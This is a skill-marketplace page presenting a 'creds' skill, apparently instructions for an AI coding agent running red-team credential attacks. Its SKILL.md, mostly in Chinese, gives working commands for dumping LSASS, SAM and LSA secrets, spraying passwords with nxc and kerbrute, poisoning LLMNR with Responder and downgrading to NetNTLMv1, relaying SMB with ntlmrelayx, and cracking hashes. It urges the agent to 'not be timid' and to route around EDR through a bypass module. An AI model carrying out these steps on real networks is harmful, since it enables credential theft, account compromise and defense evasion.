Skip to content
cccskills
FreePublished on GitHub

creds

Credential operations: secret discovery, classification, extraction, conversion, offline cracking of hashes the operator already has as a credential job, policy-aware spraying, NetNTLM capture, generic SMB relay, and Windows/Linux harvest. Do not hijack an in-progress /ad-attack Kerberoast/AS-REP chain (that module cracks and uses the ticket itself). Do not DCSync, read LAPS LDAP, or escalate cloud IAM. Usable credentials are recorded; the operator chooses the next module.

The English summary is being prepared. Showing the original description.

See how to install

Files included (8)

  • SKILL.md9.6 KB
  • references/capture-relay.md3.1 KB
  • references/hash-types.md2.7 KB
  • references/offline-crack.md2.9 KB
  • references/secret-discovery.md3.2 KB
  • references/spray-brute.md3.9 KB
  • references/token-cert-key.md2.6 KB
  • references/windows-harvest.md5.2 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

/creds — 凭据作业

scope: 把密码 / hash / ticket / token / key / cookie / 证书 / 文件里的 secret 变成 可用凭据。不做横移、域身份攻击、本机提权、云 IAM 提权、主机持久化。不要从正在打的 /ad-attack Kerberoast/AS-REP 链中途把砸票抢走——那条链在 AD 里砸完再用。▸ 可用凭据入 notes;候选只认 ~/.claude/skills/shared/modules.yaml(modules.py tail)(默认不要 /ad-attack /cloud-attack,你点名除外)。

这是全 Skill 的 Credential Operations 汇聚点,不是「和 AD 凭据沾边的攻击大杂烩」。

工具:../shared/tools.md。CVE 默认不走;备份软件/浏览器版本洞且已有版本才 ../shared/cve-enrichment.md。

手上是哪类材料,再 Read 一份(禁止开局七份全读):

  • Hash 类型 → references/hash-types.md
  • 喷洒 / 爆破 → references/spray-brute.md
  • 离线破解 → references/offline-crack.md
  • Windows 收割 → references/windows-harvest.md
  • 捕获 / 通用 relay → references/capture-relay.md
  • 磁盘/仓库 secret → references/secret-discovery.md
  • Token / 证书 / SSH / passkey → references/token-cert-key.md

开局与收尾

开局第一件事:Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。 走到哪条链,才 Read 一份 references/<file>.md。禁止开局全读、禁止凭记忆写 payload。 监听 / sudo / 输密码 / Permission denied:立刻停,说明等操作者做什么,等回报。不要假装已成功。 收尾:

  1. 追加 ./notes.md
  2. python ~/.claude/skills/bin/modules.py tail <本模块名> Read 备用:~/.claude/skills/shared/modules.yaml 禁止 ./modules.yaml 和 python ../bin/...
  3. 优先 default_next;never_default 不得当作默认(操作者点名除外)
  4. 名册外的名字不许建议
  5. 停。等操作者选 /模块 或 /clear /edr-bypass 半条链未完:打通后回本模块,不要 /clear。

0. 成功条件

输入:密码 / hash / ticket / token / key / cookie / 文件 / 网络捕获
        ↓
分类 + 提取 +(能破解则破解)+ 校验
        ↓
notes 里有一条可用凭据
        ↓
/creds COMPLETE

算成功: 明文口令、可 PTH 的 NT、已破解 NetNTLM、可用 SSH 私钥、可导入 PFX、有效 refresh/JWT、能开会话的 cookie、SAM 本地管理员哈希。

不算成功: 只跑了 hydra、只看到 Responder 一行、只证明 Chrome 有 Login Data、只列出 hashcat -m、只扫到 Titus 命中但没校验。

校验可以 nxc smb ... / aws sts get-caller-identity / ssh -i / az account show。用这张票打 DA、用这个 Hash 横向、用这个 AKIA 做 IAM 提权 不是本模块。

不要畏手畏脚的部分:能 dump 的 SAM/LSASS/DPAPI 就 dump;抓到 NetNTLM 就分类并破解或走通用 SMB relay;喷洒按真实 lockout 打到有效登录。被 EDR 拦再交接,解决后回来把材料拿完。


0.4 已迁走,不要在这里做

这些已经在 AD,删掉旧 /creds 副本:

旧内容现在
Kerberoast / AS-REP 作为当前 /ad-attack 链要票+砸+用都在 /ad-attack。本模块只当操作者把已有 hash 当独立凭据作业时才砸
DCSync / --ntds / secretsdump -just-dc/ad-attack
PetitPotam / PrinterBug / DFSCoerce / Coercer/ad-attack ../ad-attack/references/authentication-coercion-relay.md
LDAP relay → RBCD / Shadow Credentials/ad-attack
HTTP/ADCS ESC8 / ICPR ESC11/ad-attack
LAPS ms-Mcs-AdmPwd / msLAPS-* LDAP 读取/ad-recon ../ad-recon/references/windows-laps.md

本模块若扫到 LAPS 属性字符串或 NTDS 文件,当 secret 分类,读取/利用交给对应模块。


0.5 Endpoint Defense Boundary — 可选 /edr-bypass Handoff

仍属 /creds、不是 EDR:

账号锁定 / Smart Lockout / MFA
SMB signing / LDAP signing
Credential Guard(VBS 隔离,dump 了也没有明文)
Chrome ABE 需要 SYSTEM / 合法调用方
hash 解不出来

只有 提取动作已经在 OS 上执行 且被 AV/EDR/AMSI/WDAC/PPL 明确阻断:

creds primitive confirmed (dump / DPAPI / 浏览器解密 / 落地扫描器)
        ↓
endpoint security blocks intended action?
├─ NO  → 继续 /creds 直到可用凭据
└─ YES → 操作者可临时选择 /edr-bypass
            ↓
         恢复当前提取动作
            ↓
         返回 /creds
            ↓
         把 dump/解密打完

PPL 拦 LSASS = 交接 EDR,不是放弃 dump。Credential Guard 开着换 SAM/DPAPI/喷洒,不要假装 mimikatz 还能出明文。


1. 决策树(按手上材料,不按教程顺序)

手上是什么?
A. 网络里有 LLMNR/NBT-NS/mDNS / 入站 HTTP 认证
      → 捕获 → 分类 v1/v2/ESS → 破解 或 通用 SMB relay
B. 已有本机高权(admin / SYSTEM / root)
      → harvest:SAM/LSA/LSASS/DPAPI/浏览器/RMM/shadow/Titus
C. 只有用户列表 + 入口(SMB/WinRM/SSH/OWA/Entra/VPN)
      → 读锁定策略 → 喷洒或爆破 → 校验登录
D. 已有 hash / ticket / 加密文件(**独立作业**,不是正在打的 AD 要票链)
      → 识别 -m → 转换 → 破解
E. 盘上 / repo / CI 日志像密钥
      → Titus / TruffleHog / Gitleaks → 校验
F. cookie / JWT / refresh / PFX / SSH / passkey
      → references/token-cert-key.md;FIDO2 标不可导出,停
        ↓
可用凭据入 notes → COMPLETE
AD 身份攻击 / 云权限枚举 / 本机提权 = 候选下一步

同一条捕获链打穿再换。通用 SMB relay(signing 关 → SAM/交互)留在本模块。LDAP/ADCS sink 记候选 /ad-attack,本模块不写 getST/DCSync。


2. 喷洒 / 爆破(先策略,后打)

nxc smb DC -u user -p pass --pass-pol
net accounts /domain

没有 lockout 数据不要对着域控砸 rockyou。完整 → references/spray-brute.md

# 域内 SMB(命中即停去校验,不要横向)
nxc smb DC -u users.txt -p 'Spring2026!' --continue-on-success

# Kerberos 喷洒(通常比 SMB 安静)
kerbrute passwordspray -d corp.com --dc DC users.txt 'Spring2026!'

Entra/OWA/VPN:TREVORspray / Spray365 / TeamFiltration。间隔跟 当前 smart lockout 走,禁止写死「60 分钟 × 每天 3 轮」。


3. 离线破解

hashid '<hash>'

高频:NTLM 1000、NetNTLMv2 5600、NetNTLMv1 5500、Kerberoast RC4 13100、AES128 19600、AES256 19700、AS-REP 18200、sha512crypt 1800、mscachev2 2100、JWT 16500。

/ad-attack 刚 GetUserSPNs/GetNPUsers 出来的票:让 AD 模块自己砸,不要把操作者拽过来。本模块砸的是「已经当作凭据作业交过来的」hash。

完整 -m 与转换 → references/hash-types.md
hashcat/john/rules/mask/hybrid/PRINCE → references/offline-crack.md


4. Windows 收割(已有 admin/SYSTEM)

nxc smb TARGET -u administrator -p 'pass' --sam
nxc smb TARGET -u administrator -p 'pass' --lsa
rundll32 C:\windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Users\Public\l.dmp full
pypykatz lsa minidump l.dmp
DonPAPI corp.com/administrator:'pass'@TARGET

PPL / EDR 杀 dump → /edr-bypass 后用 nanodump 再回来。--ntds / krbtgt 不在这里。Chrome 127+ ABE 见 harvest 文件,DonPAPI 三行不够。

完整 → references/windows-harvest.md


5. 捕获与通用 SMB relay

responder -I eth0 -A          # 先听有没有可毒化请求
responder -I eth0 -wFb        # 抓 NetNTLMv2
# 可降 v1 时:
responder -I eth0 --lm --disable-ess
nxc smb 192.168.50.0/24 --gen-relay-list targets.txt
# Responder.conf: SMB=Off HTTP=Off
impacket-ntlmrelayx -tf targets.txt -smb2support -i

成功:NetNTLM 可破解,或 SMB relay 出 SAM/交互。LDAP --delegate-access / --shadow-credentials / --adcs 不要在这里跑。

完整 → references/capture-relay.md


6. 磁盘 / 仓库 secret

titus scan /path
trufflehog filesystem /path
gitleaks detect --source /path

命中 AWS key / SSH / JWT 后在本模块 校验,云枚举候选 /cloud-recon。完整 → references/secret-discovery.md


7. Token / 证书 / 密钥

SSH ssh2john、PFX pfx2john、JWT hashcat -m 16500、cookie 会话校验。Passkey/FIDO2 = origin-bound,不可当密码导出。完整 → references/token-cert-key.md


8. 默认口令与复用

nxc smb 192.168.50.0/24 -u jen -p 'CrackedPass!' --continue-on-success

一处破出的口令按协议复用校验。默认口令表:https://cirt.net/passwords 。命中记 notes,不在这里 PsExec。


9. 完成后

类型:password / NT / NetNTLM / ticket / token / ssh / pfx / cookie
来源:spray / dump / capture / file / crack
校验:成功的协议与账户
还不能用的原因:MFA / CG / ABE / 锁定

候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。LDAP/ADCS sink 仅你点名才建议 /ad-attack。

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Active Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

Active Directory reconnaissance with or without credentials: user/group/computer enumeration, ACL/delegation, ADCS, modern Windows LAPS, BloodHound, Server 2025/dMSA/Ghost SPN candidates, and trust mapping. Recon only — do not exploit Kerberoast-to-DA, DCSync, or change passwords. Operator may select /ad-attack after cards are ready.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

cicd

Free

CI/CD pipeline and software-supply-chain exploitation: Jenkins, GitHub Actions, GitLab CI/CD, Azure DevOps, Gitea/Forgejo, self-hosted runners/agents, poisoned pipeline execution, artifact/cache abuse, dependency confusion, third-party Action trust, GitOps/registry poisoning, workload identity/OIDC, and emerging agentic CI/CD. Use this skill when the operator has access to a CI/CD system, source repository, build/deploy configuration, runner/agent, artifact/package/registry path, or software delivery trust chain.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

Cloud control-plane exploitation for AWS, Azure/Entra, GCP, and Alibaba Cloud: IAM/RAM privilege escalation, impersonation, cross-account trust, serverless/compute control, and cloud-native persistence. Host OS persistence/C2 after root/SYSTEM belongs to /post. K8s RBAC belongs to /k8s. Operator chooses next modules; new identities default to /cloud-recon first.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

Cloud control-plane reconnaissance for AWS, Azure/Entra, GCP, and Alibaba Cloud: identity, IAM/RAM, trust, resources, metadata, and managed-Kubernetes cloud-side boundary. Recon only — no policy changes, no privilege escalation. Operator may select /cloud-attack or /k8s.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

Endpoint defense evasion after an operator-selected chain already has a valid execution path but AV/EDR/AMSI/WDAC/PPL/memory/kernel telemetry blocks the intended action. Originating modules include /web-attack /ad-attack /cloud-attack /k8s /cicd /service-attack /phishing /privesc-win /privesc-linux /creds /post /shell. Success is the blocked action becoming executable, then resume the originating module — not obtaining a shell here.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill51Updated Aug 23, 2026

See all skills by pale-knight

Report a problem with this skill